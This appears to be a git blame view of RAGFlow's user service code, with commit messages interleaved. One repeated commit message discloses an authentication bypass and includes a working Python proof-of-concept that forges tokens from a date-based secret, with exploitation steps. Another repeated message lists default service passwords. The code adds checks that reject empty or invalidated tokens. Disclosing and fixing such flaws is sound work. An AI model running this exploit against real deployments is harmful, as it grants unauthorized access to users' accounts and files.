2024-01-15 08:46:22 +08:00
|
|
|
#
|
2024-01-19 19:51:57 +08:00
|
|
|
# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
|
2024-01-15 08:46:22 +08:00
|
|
|
#
|
|
|
|
|
# Licensed under the Apache License, Version 2.0 (the "License");
|
|
|
|
|
# you may not use this file except in compliance with the License.
|
|
|
|
|
# You may obtain a copy of the License at
|
|
|
|
|
#
|
|
|
|
|
# http://www.apache.org/licenses/LICENSE-2.0
|
|
|
|
|
#
|
|
|
|
|
# Unless required by applicable law or agreed to in writing, software
|
|
|
|
|
# distributed under the License is distributed on an "AS IS" BASIS,
|
|
|
|
|
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
|
|
|
# See the License for the specific language governing permissions and
|
|
|
|
|
# limitations under the License.
|
|
|
|
|
#
|
2025-01-23 15:49:21 +08:00
|
|
|
import hashlib
|
2024-02-29 14:03:07 +08:00
|
|
|
from datetime import datetime
|
Fix: Authentication Bypass via predictable JWT secret and empty token validation (#7998)
### Description
There's a critical authentication bypass vulnerability that allows
remote attackers to gain unauthorized access to user accounts without
any credentials. The vulnerability stems from two security flaws: (1)
the application uses a predictable `SECRET_KEY` that defaults to the
current date, and (2) the authentication mechanism fails to properly
validate empty access tokens left by logged-out users. When combined,
these flaws allow attackers to forge valid JWT tokens and authenticate
as any user who has previously logged out of the system.
The authentication flow relies on JWT tokens signed with a `SECRET_KEY`
that, in default configurations, is set to `str(date.today())` (e.g.,
"2025-05-30"). When users log out, their `access_token` field in the
database is set to an empty string but their account records remain
active. An attacker can exploit this by generating a JWT token that
represents an empty access_token using the predictable daily secret,
effectively bypassing all authentication controls.
### Source - Sink Analysis
**Source (User Input):** HTTP Authorization header containing
attacker-controlled JWT token
**Flow Path:**
1. **Entry Point:** `load_user()` function in `api/apps/__init__.py`
(Line 142)
2. **Token Processing:** JWT token extracted from Authorization header
3. **Secret Key Usage:** Token decoded using predictable SECRET_KEY from
`api/settings.py` (Line 123)
4. **Database Query:** `UserService.query()` called with decoded empty
access_token
5. **Sink:** Authentication succeeds, returning first user with empty
access_token
### Proof of Concept
```python
import requests
from datetime import date
from itsdangerous.url_safe import URLSafeTimedSerializer
import sys
def exploit_ragflow(target):
# Generate token with predictable key
daily_key = str(date.today())
serializer = URLSafeTimedSerializer(secret_key=daily_key)
malicious_token = serializer.dumps("")
print(f"Target: {target}")
print(f"Secret key: {daily_key}")
print(f"Generated token: {malicious_token}\n")
# Test endpoints
endpoints = [
("/v1/user/info", "User profile"),
("/v1/file/list?parent_id=&keywords=&page_size=10&page=1", "File listing")
]
auth_headers = {"Authorization": malicious_token}
for path, description in endpoints:
print(f"Testing {description}...")
response = requests.get(f"{target}{path}", headers=auth_headers)
if response.status_code == 200:
data = response.json()
if data.get("code") == 0:
print(f"SUCCESS {description} accessible")
if "user" in path:
user_data = data.get("data", {})
print(f" Email: {user_data.get('email')}")
print(f" User ID: {user_data.get('id')}")
elif "file" in path:
files = data.get("data", {}).get("files", [])
print(f" Files found: {len(files)}")
else:
print(f"Access denied")
else:
print(f"HTTP {response.status_code}")
print()
if __name__ == "__main__":
target_url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost"
exploit_ragflow(target_url)
```
**Exploitation Steps:**
1. Deploy RAGFlow with default configuration
2. Create a user and make at least one user log out (creating empty
access_token in database)
3. Run the PoC script against the target
4. Observe successful authentication and data access without any
credentials
**Version:** 0.19.0
@KevinHuSh @asiroliu @cike8899
Co-authored-by: nkoorty <amalyshau2002@gmail.com>
2025-06-05 05:10:24 +01:00
|
|
|
import logging
|
2024-02-29 14:03:07 +08:00
|
|
|
|
2024-01-15 08:46:22 +08:00
|
|
|
import peewee
|
|
|
|
|
from werkzeug.security import generate_password_hash, check_password_hash
|
|
|
|
|
|
2024-01-17 20:20:42 +08:00
|
|
|
from api.db import UserTenantRole
|
|
|
|
|
from api.db.db_models import DB, UserTenant
|
|
|
|
|
from api.db.db_models import User, Tenant
|
|
|
|
|
from api.db.services.common_service import CommonService
|
2025-10-31 16:42:01 +08:00
|
|
|
from common.misc_utils import get_uuid
|
2025-10-28 19:09:14 +08:00
|
|
|
from common.time_utils import current_timestamp, datetime_format
|
2024-01-17 20:20:42 +08:00
|
|
|
from api.db import StatusEnum
|
2025-01-23 15:49:21 +08:00
|
|
|
from rag.settings import MINIO
|
2024-01-15 08:46:22 +08:00
|
|
|
|
|
|
|
|
|
|
|
|
|
class UserService(CommonService):
|
2025-03-13 19:06:50 +08:00
|
|
|
"""Service class for managing user-related database operations.
|
2025-04-15 10:20:33 +08:00
|
|
|
|
2025-03-13 19:06:50 +08:00
|
|
|
This class extends CommonService to provide specialized functionality for user management,
|
|
|
|
|
including authentication, user creation, updates, and deletions.
|
2025-04-15 10:20:33 +08:00
|
|
|
|
2025-03-13 19:06:50 +08:00
|
|
|
Attributes:
|
|
|
|
|
model: The User model class for database operations.
|
|
|
|
|
"""
|
2024-01-15 08:46:22 +08:00
|
|
|
model = User
|
|
|
|
|
|
Fix: Authentication Bypass via predictable JWT secret and empty token validation (#7998)
### Description
There's a critical authentication bypass vulnerability that allows
remote attackers to gain unauthorized access to user accounts without
any credentials. The vulnerability stems from two security flaws: (1)
the application uses a predictable `SECRET_KEY` that defaults to the
current date, and (2) the authentication mechanism fails to properly
validate empty access tokens left by logged-out users. When combined,
these flaws allow attackers to forge valid JWT tokens and authenticate
as any user who has previously logged out of the system.
The authentication flow relies on JWT tokens signed with a `SECRET_KEY`
that, in default configurations, is set to `str(date.today())` (e.g.,
"2025-05-30"). When users log out, their `access_token` field in the
database is set to an empty string but their account records remain
active. An attacker can exploit this by generating a JWT token that
represents an empty access_token using the predictable daily secret,
effectively bypassing all authentication controls.
### Source - Sink Analysis
**Source (User Input):** HTTP Authorization header containing
attacker-controlled JWT token
**Flow Path:**
1. **Entry Point:** `load_user()` function in `api/apps/__init__.py`
(Line 142)
2. **Token Processing:** JWT token extracted from Authorization header
3. **Secret Key Usage:** Token decoded using predictable SECRET_KEY from
`api/settings.py` (Line 123)
4. **Database Query:** `UserService.query()` called with decoded empty
access_token
5. **Sink:** Authentication succeeds, returning first user with empty
access_token
### Proof of Concept
```python
import requests
from datetime import date
from itsdangerous.url_safe import URLSafeTimedSerializer
import sys
def exploit_ragflow(target):
# Generate token with predictable key
daily_key = str(date.today())
serializer = URLSafeTimedSerializer(secret_key=daily_key)
malicious_token = serializer.dumps("")
print(f"Target: {target}")
print(f"Secret key: {daily_key}")
print(f"Generated token: {malicious_token}\n")
# Test endpoints
endpoints = [
("/v1/user/info", "User profile"),
("/v1/file/list?parent_id=&keywords=&page_size=10&page=1", "File listing")
]
auth_headers = {"Authorization": malicious_token}
for path, description in endpoints:
print(f"Testing {description}...")
response = requests.get(f"{target}{path}", headers=auth_headers)
if response.status_code == 200:
data = response.json()
if data.get("code") == 0:
print(f"SUCCESS {description} accessible")
if "user" in path:
user_data = data.get("data", {})
print(f" Email: {user_data.get('email')}")
print(f" User ID: {user_data.get('id')}")
elif "file" in path:
files = data.get("data", {}).get("files", [])
print(f" Files found: {len(files)}")
else:
print(f"Access denied")
else:
print(f"HTTP {response.status_code}")
print()
if __name__ == "__main__":
target_url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost"
exploit_ragflow(target_url)
```
**Exploitation Steps:**
1. Deploy RAGFlow with default configuration
2. Create a user and make at least one user log out (creating empty
access_token in database)
3. Run the PoC script against the target
4. Observe successful authentication and data access without any
credentials
**Version:** 0.19.0
@KevinHuSh @asiroliu @cike8899
Co-authored-by: nkoorty <amalyshau2002@gmail.com>
2025-06-05 05:10:24 +01:00
|
|
|
@classmethod
|
|
|
|
|
@DB.connection_context()
|
|
|
|
|
def query(cls, cols=None, reverse=None, order_by=None, **kwargs):
|
|
|
|
|
if 'access_token' in kwargs:
|
|
|
|
|
access_token = kwargs['access_token']
|
Feat: add admin CLI and admin service (#10186)
### What problem does this PR solve?
Introduce new feature: RAGFlow system admin service and CLI
### Introduction
Admin Service is a dedicated management component designed to monitor,
maintain, and administrate the RAGFlow system. It provides comprehensive
tools for ensuring system stability, performing operational tasks, and
managing users and permissions efficiently.
The service offers monitoring of critical components, including the
RAGFlow server, Task Executor processes, and dependent services such as
MySQL, Infinity / Elasticsearch, Redis, and MinIO. It automatically
checks their health status, resource usage, and uptime, and performs
restarts in case of failures to minimize downtime.
For user and system management, it supports listing, creating,
modifying, and deleting users and their associated resources like
knowledge bases and Agents.
Built with scalability and reliability in mind, the Admin Service
ensures smooth system operation and simplifies maintenance workflows.
It consists of a server-side Service and a command-line client (CLI),
both implemented in Python. User commands are parsed using the Lark
parsing toolkit.
- **Admin Service**: A backend service that interfaces with the RAGFlow
system to execute administrative operations and monitor its status.
- **Admin CLI**: A command-line interface that allows users to connect
to the Admin Service and issue commands for system management.
### Starting the Admin Service
1. Before start Admin Service, please make sure RAGFlow system is
already started.
2. Run the service script:
```bash
python admin/admin_server.py
```
The service will start and listen for incoming connections from the CLI
on the configured port.
### Using the Admin CLI
1. Ensure the Admin Service is running.
2. Launch the CLI client:
```bash
python admin/admin_client.py -h 0.0.0.0 -p 9381
## Supported Commands
Commands are case-insensitive and must be terminated with a semicolon
(`;`).
### Service Management Commands
- [x] `LIST SERVICES;`
- Lists all available services within the RAGFlow system.
- [ ] `SHOW SERVICE <id>;`
- Shows detailed status information for the service identified by
`<id>`.
- [ ] `STARTUP SERVICE <id>;`
- Attempts to start the service identified by `<id>`.
- [ ] `SHUTDOWN SERVICE <id>;`
- Attempts to gracefully shut down the service identified by `<id>`.
- [ ] `RESTART SERVICE <id>;`
- Attempts to restart the service identified by `<id>`.
### User Management Commands
- [x] `LIST USERS;`
- Lists all users known to the system.
- [ ] `SHOW USER '<username>';`
- Shows details and permissions for the specified user. The username
must be enclosed in single or double quotes.
- [ ] `DROP USER '<username>';`
- Removes the specified user from the system. Use with caution.
- [ ] `ALTER USER PASSWORD '<username>' '<new_password>';`
- Changes the password for the specified user.
### Data and Agent Commands
- [ ] `LIST DATASETS OF '<username>';`
- Lists the datasets associated with the specified user.
- [ ] `LIST AGENTS OF '<username>';`
- Lists the agents associated with the specified user.
### Meta-Commands
Meta-commands are prefixed with a backslash (`\`).
- `\?` or `\help`
- Shows help information for the available commands.
- `\q` or `\quit`
- Exits the CLI application.
## Examples
```commandline
admin> list users;
+-------------------------------+------------------------+-----------+-------------+
| create_date | email | is_active | nickname |
+-------------------------------+------------------------+-----------+-------------+
| Fri, 22 Nov 2024 16:03:41 GMT | jeffery@infiniflow.org | 1 | Jeffery |
| Fri, 22 Nov 2024 16:10:55 GMT | aya@infiniflow.org | 1 | Waterdancer |
+-------------------------------+------------------------+-----------+-------------+
admin> list services;
+-------------------------------------------------------------------------------------------+-----------+----+---------------+-------+----------------+
| extra | host | id | name | port | service_type |
+-------------------------------------------------------------------------------------------+-----------+----+---------------+-------+----------------+
| {} | 0.0.0.0 | 0 | ragflow_0 | 9380 | ragflow_server |
| {'meta_type': 'mysql', 'password': 'infini_rag_flow', 'username': 'root'} | localhost | 1 | mysql | 5455 | meta_data |
| {'password': 'infini_rag_flow', 'store_type': 'minio', 'user': 'rag_flow'} | localhost | 2 | minio | 9000 | file_store |
| {'password': 'infini_rag_flow', 'retrieval_type': 'elasticsearch', 'username': 'elastic'} | localhost | 3 | elasticsearch | 1200 | retrieval |
| {'db_name': 'default_db', 'retrieval_type': 'infinity'} | localhost | 4 | infinity | 23817 | retrieval |
| {'database': 1, 'mq_type': 'redis', 'password': 'infini_rag_flow'} | localhost | 5 | redis | 6379 | message_queue |
+-------------------------------------------------------------------------------------------+-----------+----+---------------+-------+----------------+
```
### Type of change
- [x] New Feature (non-breaking change which adds functionality)
Signed-off-by: jinhai <haijin.chn@gmail.com>
2025-09-22 10:37:49 +08:00
|
|
|
|
Fix: Authentication Bypass via predictable JWT secret and empty token validation (#7998)
### Description
There's a critical authentication bypass vulnerability that allows
remote attackers to gain unauthorized access to user accounts without
any credentials. The vulnerability stems from two security flaws: (1)
the application uses a predictable `SECRET_KEY` that defaults to the
current date, and (2) the authentication mechanism fails to properly
validate empty access tokens left by logged-out users. When combined,
these flaws allow attackers to forge valid JWT tokens and authenticate
as any user who has previously logged out of the system.
The authentication flow relies on JWT tokens signed with a `SECRET_KEY`
that, in default configurations, is set to `str(date.today())` (e.g.,
"2025-05-30"). When users log out, their `access_token` field in the
database is set to an empty string but their account records remain
active. An attacker can exploit this by generating a JWT token that
represents an empty access_token using the predictable daily secret,
effectively bypassing all authentication controls.
### Source - Sink Analysis
**Source (User Input):** HTTP Authorization header containing
attacker-controlled JWT token
**Flow Path:**
1. **Entry Point:** `load_user()` function in `api/apps/__init__.py`
(Line 142)
2. **Token Processing:** JWT token extracted from Authorization header
3. **Secret Key Usage:** Token decoded using predictable SECRET_KEY from
`api/settings.py` (Line 123)
4. **Database Query:** `UserService.query()` called with decoded empty
access_token
5. **Sink:** Authentication succeeds, returning first user with empty
access_token
### Proof of Concept
```python
import requests
from datetime import date
from itsdangerous.url_safe import URLSafeTimedSerializer
import sys
def exploit_ragflow(target):
# Generate token with predictable key
daily_key = str(date.today())
serializer = URLSafeTimedSerializer(secret_key=daily_key)
malicious_token = serializer.dumps("")
print(f"Target: {target}")
print(f"Secret key: {daily_key}")
print(f"Generated token: {malicious_token}\n")
# Test endpoints
endpoints = [
("/v1/user/info", "User profile"),
("/v1/file/list?parent_id=&keywords=&page_size=10&page=1", "File listing")
]
auth_headers = {"Authorization": malicious_token}
for path, description in endpoints:
print(f"Testing {description}...")
response = requests.get(f"{target}{path}", headers=auth_headers)
if response.status_code == 200:
data = response.json()
if data.get("code") == 0:
print(f"SUCCESS {description} accessible")
if "user" in path:
user_data = data.get("data", {})
print(f" Email: {user_data.get('email')}")
print(f" User ID: {user_data.get('id')}")
elif "file" in path:
files = data.get("data", {}).get("files", [])
print(f" Files found: {len(files)}")
else:
print(f"Access denied")
else:
print(f"HTTP {response.status_code}")
print()
if __name__ == "__main__":
target_url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost"
exploit_ragflow(target_url)
```
**Exploitation Steps:**
1. Deploy RAGFlow with default configuration
2. Create a user and make at least one user log out (creating empty
access_token in database)
3. Run the PoC script against the target
4. Observe successful authentication and data access without any
credentials
**Version:** 0.19.0
@KevinHuSh @asiroliu @cike8899
Co-authored-by: nkoorty <amalyshau2002@gmail.com>
2025-06-05 05:10:24 +01:00
|
|
|
# Reject empty, None, or whitespace-only access tokens
|
|
|
|
|
if not access_token or not str(access_token).strip():
|
|
|
|
|
logging.warning("UserService.query: Rejecting empty access_token query")
|
|
|
|
|
return cls.model.select().where(cls.model.id == "INVALID_EMPTY_TOKEN") # Returns empty result
|
Feat: add admin CLI and admin service (#10186)
### What problem does this PR solve?
Introduce new feature: RAGFlow system admin service and CLI
### Introduction
Admin Service is a dedicated management component designed to monitor,
maintain, and administrate the RAGFlow system. It provides comprehensive
tools for ensuring system stability, performing operational tasks, and
managing users and permissions efficiently.
The service offers monitoring of critical components, including the
RAGFlow server, Task Executor processes, and dependent services such as
MySQL, Infinity / Elasticsearch, Redis, and MinIO. It automatically
checks their health status, resource usage, and uptime, and performs
restarts in case of failures to minimize downtime.
For user and system management, it supports listing, creating,
modifying, and deleting users and their associated resources like
knowledge bases and Agents.
Built with scalability and reliability in mind, the Admin Service
ensures smooth system operation and simplifies maintenance workflows.
It consists of a server-side Service and a command-line client (CLI),
both implemented in Python. User commands are parsed using the Lark
parsing toolkit.
- **Admin Service**: A backend service that interfaces with the RAGFlow
system to execute administrative operations and monitor its status.
- **Admin CLI**: A command-line interface that allows users to connect
to the Admin Service and issue commands for system management.
### Starting the Admin Service
1. Before start Admin Service, please make sure RAGFlow system is
already started.
2. Run the service script:
```bash
python admin/admin_server.py
```
The service will start and listen for incoming connections from the CLI
on the configured port.
### Using the Admin CLI
1. Ensure the Admin Service is running.
2. Launch the CLI client:
```bash
python admin/admin_client.py -h 0.0.0.0 -p 9381
## Supported Commands
Commands are case-insensitive and must be terminated with a semicolon
(`;`).
### Service Management Commands
- [x] `LIST SERVICES;`
- Lists all available services within the RAGFlow system.
- [ ] `SHOW SERVICE <id>;`
- Shows detailed status information for the service identified by
`<id>`.
- [ ] `STARTUP SERVICE <id>;`
- Attempts to start the service identified by `<id>`.
- [ ] `SHUTDOWN SERVICE <id>;`
- Attempts to gracefully shut down the service identified by `<id>`.
- [ ] `RESTART SERVICE <id>;`
- Attempts to restart the service identified by `<id>`.
### User Management Commands
- [x] `LIST USERS;`
- Lists all users known to the system.
- [ ] `SHOW USER '<username>';`
- Shows details and permissions for the specified user. The username
must be enclosed in single or double quotes.
- [ ] `DROP USER '<username>';`
- Removes the specified user from the system. Use with caution.
- [ ] `ALTER USER PASSWORD '<username>' '<new_password>';`
- Changes the password for the specified user.
### Data and Agent Commands
- [ ] `LIST DATASETS OF '<username>';`
- Lists the datasets associated with the specified user.
- [ ] `LIST AGENTS OF '<username>';`
- Lists the agents associated with the specified user.
### Meta-Commands
Meta-commands are prefixed with a backslash (`\`).
- `\?` or `\help`
- Shows help information for the available commands.
- `\q` or `\quit`
- Exits the CLI application.
## Examples
```commandline
admin> list users;
+-------------------------------+------------------------+-----------+-------------+
| create_date | email | is_active | nickname |
+-------------------------------+------------------------+-----------+-------------+
| Fri, 22 Nov 2024 16:03:41 GMT | jeffery@infiniflow.org | 1 | Jeffery |
| Fri, 22 Nov 2024 16:10:55 GMT | aya@infiniflow.org | 1 | Waterdancer |
+-------------------------------+------------------------+-----------+-------------+
admin> list services;
+-------------------------------------------------------------------------------------------+-----------+----+---------------+-------+----------------+
| extra | host | id | name | port | service_type |
+-------------------------------------------------------------------------------------------+-----------+----+---------------+-------+----------------+
| {} | 0.0.0.0 | 0 | ragflow_0 | 9380 | ragflow_server |
| {'meta_type': 'mysql', 'password': 'infini_rag_flow', 'username': 'root'} | localhost | 1 | mysql | 5455 | meta_data |
| {'password': 'infini_rag_flow', 'store_type': 'minio', 'user': 'rag_flow'} | localhost | 2 | minio | 9000 | file_store |
| {'password': 'infini_rag_flow', 'retrieval_type': 'elasticsearch', 'username': 'elastic'} | localhost | 3 | elasticsearch | 1200 | retrieval |
| {'db_name': 'default_db', 'retrieval_type': 'infinity'} | localhost | 4 | infinity | 23817 | retrieval |
| {'database': 1, 'mq_type': 'redis', 'password': 'infini_rag_flow'} | localhost | 5 | redis | 6379 | message_queue |
+-------------------------------------------------------------------------------------------+-----------+----+---------------+-------+----------------+
```
### Type of change
- [x] New Feature (non-breaking change which adds functionality)
Signed-off-by: jinhai <haijin.chn@gmail.com>
2025-09-22 10:37:49 +08:00
|
|
|
|
Fix: Authentication Bypass via predictable JWT secret and empty token validation (#7998)
### Description
There's a critical authentication bypass vulnerability that allows
remote attackers to gain unauthorized access to user accounts without
any credentials. The vulnerability stems from two security flaws: (1)
the application uses a predictable `SECRET_KEY` that defaults to the
current date, and (2) the authentication mechanism fails to properly
validate empty access tokens left by logged-out users. When combined,
these flaws allow attackers to forge valid JWT tokens and authenticate
as any user who has previously logged out of the system.
The authentication flow relies on JWT tokens signed with a `SECRET_KEY`
that, in default configurations, is set to `str(date.today())` (e.g.,
"2025-05-30"). When users log out, their `access_token` field in the
database is set to an empty string but their account records remain
active. An attacker can exploit this by generating a JWT token that
represents an empty access_token using the predictable daily secret,
effectively bypassing all authentication controls.
### Source - Sink Analysis
**Source (User Input):** HTTP Authorization header containing
attacker-controlled JWT token
**Flow Path:**
1. **Entry Point:** `load_user()` function in `api/apps/__init__.py`
(Line 142)
2. **Token Processing:** JWT token extracted from Authorization header
3. **Secret Key Usage:** Token decoded using predictable SECRET_KEY from
`api/settings.py` (Line 123)
4. **Database Query:** `UserService.query()` called with decoded empty
access_token
5. **Sink:** Authentication succeeds, returning first user with empty
access_token
### Proof of Concept
```python
import requests
from datetime import date
from itsdangerous.url_safe import URLSafeTimedSerializer
import sys
def exploit_ragflow(target):
# Generate token with predictable key
daily_key = str(date.today())
serializer = URLSafeTimedSerializer(secret_key=daily_key)
malicious_token = serializer.dumps("")
print(f"Target: {target}")
print(f"Secret key: {daily_key}")
print(f"Generated token: {malicious_token}\n")
# Test endpoints
endpoints = [
("/v1/user/info", "User profile"),
("/v1/file/list?parent_id=&keywords=&page_size=10&page=1", "File listing")
]
auth_headers = {"Authorization": malicious_token}
for path, description in endpoints:
print(f"Testing {description}...")
response = requests.get(f"{target}{path}", headers=auth_headers)
if response.status_code == 200:
data = response.json()
if data.get("code") == 0:
print(f"SUCCESS {description} accessible")
if "user" in path:
user_data = data.get("data", {})
print(f" Email: {user_data.get('email')}")
print(f" User ID: {user_data.get('id')}")
elif "file" in path:
files = data.get("data", {}).get("files", [])
print(f" Files found: {len(files)}")
else:
print(f"Access denied")
else:
print(f"HTTP {response.status_code}")
print()
if __name__ == "__main__":
target_url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost"
exploit_ragflow(target_url)
```
**Exploitation Steps:**
1. Deploy RAGFlow with default configuration
2. Create a user and make at least one user log out (creating empty
access_token in database)
3. Run the PoC script against the target
4. Observe successful authentication and data access without any
credentials
**Version:** 0.19.0
@KevinHuSh @asiroliu @cike8899
Co-authored-by: nkoorty <amalyshau2002@gmail.com>
2025-06-05 05:10:24 +01:00
|
|
|
# Reject tokens that are too short (should be UUID, 32+ chars)
|
|
|
|
|
if len(str(access_token).strip()) < 32:
|
|
|
|
|
logging.warning(f"UserService.query: Rejecting short access_token query: {len(str(access_token))} chars")
|
|
|
|
|
return cls.model.select().where(cls.model.id == "INVALID_SHORT_TOKEN") # Returns empty result
|
Feat: add admin CLI and admin service (#10186)
### What problem does this PR solve?
Introduce new feature: RAGFlow system admin service and CLI
### Introduction
Admin Service is a dedicated management component designed to monitor,
maintain, and administrate the RAGFlow system. It provides comprehensive
tools for ensuring system stability, performing operational tasks, and
managing users and permissions efficiently.
The service offers monitoring of critical components, including the
RAGFlow server, Task Executor processes, and dependent services such as
MySQL, Infinity / Elasticsearch, Redis, and MinIO. It automatically
checks their health status, resource usage, and uptime, and performs
restarts in case of failures to minimize downtime.
For user and system management, it supports listing, creating,
modifying, and deleting users and their associated resources like
knowledge bases and Agents.
Built with scalability and reliability in mind, the Admin Service
ensures smooth system operation and simplifies maintenance workflows.
It consists of a server-side Service and a command-line client (CLI),
both implemented in Python. User commands are parsed using the Lark
parsing toolkit.
- **Admin Service**: A backend service that interfaces with the RAGFlow
system to execute administrative operations and monitor its status.
- **Admin CLI**: A command-line interface that allows users to connect
to the Admin Service and issue commands for system management.
### Starting the Admin Service
1. Before start Admin Service, please make sure RAGFlow system is
already started.
2. Run the service script:
```bash
python admin/admin_server.py
```
The service will start and listen for incoming connections from the CLI
on the configured port.
### Using the Admin CLI
1. Ensure the Admin Service is running.
2. Launch the CLI client:
```bash
python admin/admin_client.py -h 0.0.0.0 -p 9381
## Supported Commands
Commands are case-insensitive and must be terminated with a semicolon
(`;`).
### Service Management Commands
- [x] `LIST SERVICES;`
- Lists all available services within the RAGFlow system.
- [ ] `SHOW SERVICE <id>;`
- Shows detailed status information for the service identified by
`<id>`.
- [ ] `STARTUP SERVICE <id>;`
- Attempts to start the service identified by `<id>`.
- [ ] `SHUTDOWN SERVICE <id>;`
- Attempts to gracefully shut down the service identified by `<id>`.
- [ ] `RESTART SERVICE <id>;`
- Attempts to restart the service identified by `<id>`.
### User Management Commands
- [x] `LIST USERS;`
- Lists all users known to the system.
- [ ] `SHOW USER '<username>';`
- Shows details and permissions for the specified user. The username
must be enclosed in single or double quotes.
- [ ] `DROP USER '<username>';`
- Removes the specified user from the system. Use with caution.
- [ ] `ALTER USER PASSWORD '<username>' '<new_password>';`
- Changes the password for the specified user.
### Data and Agent Commands
- [ ] `LIST DATASETS OF '<username>';`
- Lists the datasets associated with the specified user.
- [ ] `LIST AGENTS OF '<username>';`
- Lists the agents associated with the specified user.
### Meta-Commands
Meta-commands are prefixed with a backslash (`\`).
- `\?` or `\help`
- Shows help information for the available commands.
- `\q` or `\quit`
- Exits the CLI application.
## Examples
```commandline
admin> list users;
+-------------------------------+------------------------+-----------+-------------+
| create_date | email | is_active | nickname |
+-------------------------------+------------------------+-----------+-------------+
| Fri, 22 Nov 2024 16:03:41 GMT | jeffery@infiniflow.org | 1 | Jeffery |
| Fri, 22 Nov 2024 16:10:55 GMT | aya@infiniflow.org | 1 | Waterdancer |
+-------------------------------+------------------------+-----------+-------------+
admin> list services;
+-------------------------------------------------------------------------------------------+-----------+----+---------------+-------+----------------+
| extra | host | id | name | port | service_type |
+-------------------------------------------------------------------------------------------+-----------+----+---------------+-------+----------------+
| {} | 0.0.0.0 | 0 | ragflow_0 | 9380 | ragflow_server |
| {'meta_type': 'mysql', 'password': 'infini_rag_flow', 'username': 'root'} | localhost | 1 | mysql | 5455 | meta_data |
| {'password': 'infini_rag_flow', 'store_type': 'minio', 'user': 'rag_flow'} | localhost | 2 | minio | 9000 | file_store |
| {'password': 'infini_rag_flow', 'retrieval_type': 'elasticsearch', 'username': 'elastic'} | localhost | 3 | elasticsearch | 1200 | retrieval |
| {'db_name': 'default_db', 'retrieval_type': 'infinity'} | localhost | 4 | infinity | 23817 | retrieval |
| {'database': 1, 'mq_type': 'redis', 'password': 'infini_rag_flow'} | localhost | 5 | redis | 6379 | message_queue |
+-------------------------------------------------------------------------------------------+-----------+----+---------------+-------+----------------+
```
### Type of change
- [x] New Feature (non-breaking change which adds functionality)
Signed-off-by: jinhai <haijin.chn@gmail.com>
2025-09-22 10:37:49 +08:00
|
|
|
|
Fix: Authentication Bypass via predictable JWT secret and empty token validation (#7998)
### Description
There's a critical authentication bypass vulnerability that allows
remote attackers to gain unauthorized access to user accounts without
any credentials. The vulnerability stems from two security flaws: (1)
the application uses a predictable `SECRET_KEY` that defaults to the
current date, and (2) the authentication mechanism fails to properly
validate empty access tokens left by logged-out users. When combined,
these flaws allow attackers to forge valid JWT tokens and authenticate
as any user who has previously logged out of the system.
The authentication flow relies on JWT tokens signed with a `SECRET_KEY`
that, in default configurations, is set to `str(date.today())` (e.g.,
"2025-05-30"). When users log out, their `access_token` field in the
database is set to an empty string but their account records remain
active. An attacker can exploit this by generating a JWT token that
represents an empty access_token using the predictable daily secret,
effectively bypassing all authentication controls.
### Source - Sink Analysis
**Source (User Input):** HTTP Authorization header containing
attacker-controlled JWT token
**Flow Path:**
1. **Entry Point:** `load_user()` function in `api/apps/__init__.py`
(Line 142)
2. **Token Processing:** JWT token extracted from Authorization header
3. **Secret Key Usage:** Token decoded using predictable SECRET_KEY from
`api/settings.py` (Line 123)
4. **Database Query:** `UserService.query()` called with decoded empty
access_token
5. **Sink:** Authentication succeeds, returning first user with empty
access_token
### Proof of Concept
```python
import requests
from datetime import date
from itsdangerous.url_safe import URLSafeTimedSerializer
import sys
def exploit_ragflow(target):
# Generate token with predictable key
daily_key = str(date.today())
serializer = URLSafeTimedSerializer(secret_key=daily_key)
malicious_token = serializer.dumps("")
print(f"Target: {target}")
print(f"Secret key: {daily_key}")
print(f"Generated token: {malicious_token}\n")
# Test endpoints
endpoints = [
("/v1/user/info", "User profile"),
("/v1/file/list?parent_id=&keywords=&page_size=10&page=1", "File listing")
]
auth_headers = {"Authorization": malicious_token}
for path, description in endpoints:
print(f"Testing {description}...")
response = requests.get(f"{target}{path}", headers=auth_headers)
if response.status_code == 200:
data = response.json()
if data.get("code") == 0:
print(f"SUCCESS {description} accessible")
if "user" in path:
user_data = data.get("data", {})
print(f" Email: {user_data.get('email')}")
print(f" User ID: {user_data.get('id')}")
elif "file" in path:
files = data.get("data", {}).get("files", [])
print(f" Files found: {len(files)}")
else:
print(f"Access denied")
else:
print(f"HTTP {response.status_code}")
print()
if __name__ == "__main__":
target_url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost"
exploit_ragflow(target_url)
```
**Exploitation Steps:**
1. Deploy RAGFlow with default configuration
2. Create a user and make at least one user log out (creating empty
access_token in database)
3. Run the PoC script against the target
4. Observe successful authentication and data access without any
credentials
**Version:** 0.19.0
@KevinHuSh @asiroliu @cike8899
Co-authored-by: nkoorty <amalyshau2002@gmail.com>
2025-06-05 05:10:24 +01:00
|
|
|
# Reject tokens that start with "INVALID_" (from logout)
|
|
|
|
|
if str(access_token).startswith("INVALID_"):
|
|
|
|
|
logging.warning("UserService.query: Rejecting invalidated access_token")
|
|
|
|
|
return cls.model.select().where(cls.model.id == "INVALID_LOGOUT_TOKEN") # Returns empty result
|
Feat: add admin CLI and admin service (#10186)
### What problem does this PR solve?
Introduce new feature: RAGFlow system admin service and CLI
### Introduction
Admin Service is a dedicated management component designed to monitor,
maintain, and administrate the RAGFlow system. It provides comprehensive
tools for ensuring system stability, performing operational tasks, and
managing users and permissions efficiently.
The service offers monitoring of critical components, including the
RAGFlow server, Task Executor processes, and dependent services such as
MySQL, Infinity / Elasticsearch, Redis, and MinIO. It automatically
checks their health status, resource usage, and uptime, and performs
restarts in case of failures to minimize downtime.
For user and system management, it supports listing, creating,
modifying, and deleting users and their associated resources like
knowledge bases and Agents.
Built with scalability and reliability in mind, the Admin Service
ensures smooth system operation and simplifies maintenance workflows.
It consists of a server-side Service and a command-line client (CLI),
both implemented in Python. User commands are parsed using the Lark
parsing toolkit.
- **Admin Service**: A backend service that interfaces with the RAGFlow
system to execute administrative operations and monitor its status.
- **Admin CLI**: A command-line interface that allows users to connect
to the Admin Service and issue commands for system management.
### Starting the Admin Service
1. Before start Admin Service, please make sure RAGFlow system is
already started.
2. Run the service script:
```bash
python admin/admin_server.py
```
The service will start and listen for incoming connections from the CLI
on the configured port.
### Using the Admin CLI
1. Ensure the Admin Service is running.
2. Launch the CLI client:
```bash
